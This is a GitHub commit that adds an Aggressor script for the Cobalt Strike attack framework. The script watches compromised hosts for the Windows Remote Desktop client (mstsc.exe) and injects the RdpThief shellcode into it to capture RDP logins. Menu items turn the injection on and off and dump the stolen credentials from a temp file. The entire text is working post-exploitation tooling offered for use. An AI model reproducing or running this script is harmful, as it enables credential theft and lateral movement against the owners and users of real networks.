Add files via upload

This commit is contained in:
TimWhite
2019-12-05 15:50:05 +08:00
committed by GitHub
parent a986d0b9b8
commit c2d5d7966a
2 changed files with 53 additions and 0 deletions
+53
View File
@@ -0,0 +1,53 @@
@beacons = @();
@pids = @();
on heartbeat_5s{
foreach $index => $beaconid (@beacons)
{
bps($beaconid,&handleProcess);
}
}
sub handleProcess{
$processList = $2;
$index = indexOf($processList, "mstsc.exe", 0) + 9;
if($index > 9){
$temp = substr($processList,$index,-1);
$pid = split("\t",$temp)[2];
if ($pid !in @pids){
add(@pids,$pid,0);
blog($1,"Injecting into mstsc.exe with PID: $pid");
bshinject($1, $pid , "x64" ,script_resource("rdpthief/RdpThief_x64.tmp"));
}
}
}
#append menus
menu "RdpThief"{
item "Rdpthief_Enable"{
blog($1, "RdpThief enabled \n");
add(@beacons,$1,0);
}
item "Rdpthief_Disable"{
blog($1, "Disabling RdpThief");
remove(@beacons,$1);
}
item "Rdpthief_Dump"{
bshell($1,"type %temp%\\data.bin");
}
}
Binary file not shown.